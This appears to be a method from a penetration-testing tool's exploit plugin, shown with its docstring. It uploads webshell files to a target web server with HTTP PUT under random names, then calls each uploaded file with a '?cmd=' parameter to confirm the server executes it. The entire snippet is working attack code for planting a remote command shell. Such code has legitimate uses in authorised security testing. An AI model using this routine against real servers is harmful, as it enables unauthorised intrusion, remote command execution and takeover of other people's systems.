'This command verifies a vuln. This is really hard work! :P
:return : True if vuln can be exploited.'

def _verify_vuln(self, vuln_obj):

    filename = rand_alpha(7)
    extension = vuln_obj.get_url().get_extension()
    shell_list = shell_handler.get_webshells(extension)
    for (file_content, real_extension) in shell_list:
        if (extension == ''):
            extension = real_extension
        om.out.debug(('Uploading    shell    with    extension:    "%s".' % extension))
        fname = ('%s.%s' % (filename, extension))
        url_to_upload = vuln_obj.get_url().url_join(fname)
        om.out.debug(('Uploading    file    %s    using    PUT    method.' % url_to_upload))
        self._uri_opener.PUT(url_to_upload, data=file_content)
        exploit_url = URL((url_to_upload + '?cmd='))
        response = self._uri_opener.GET(exploit_url)
        if (shell_handler.SHELL_IDENTIFIER in response.get_body()):
            msg = 'The    uploaded    shell    returned    the    SHELL_IDENTIFIER,    which    verifies    that    the    file    was    uploaded    and    is    being    executed.'
            om.out.debug(msg)
            self._exploit_url = exploit_url
            return True
        else:
            msg = 'The    uploaded    shell    with    extension:    "%s"    did    NOT    return    the    SHELL_IDENTIFIER,    which    means    that    the    file    was    not    uploaded    to    the    remote    server    or    the    code    is    not    being    run.    The    returned    body    was:    "%s".'
            om.out.debug((msg % (extension, response.get_body())))
            extension = ''
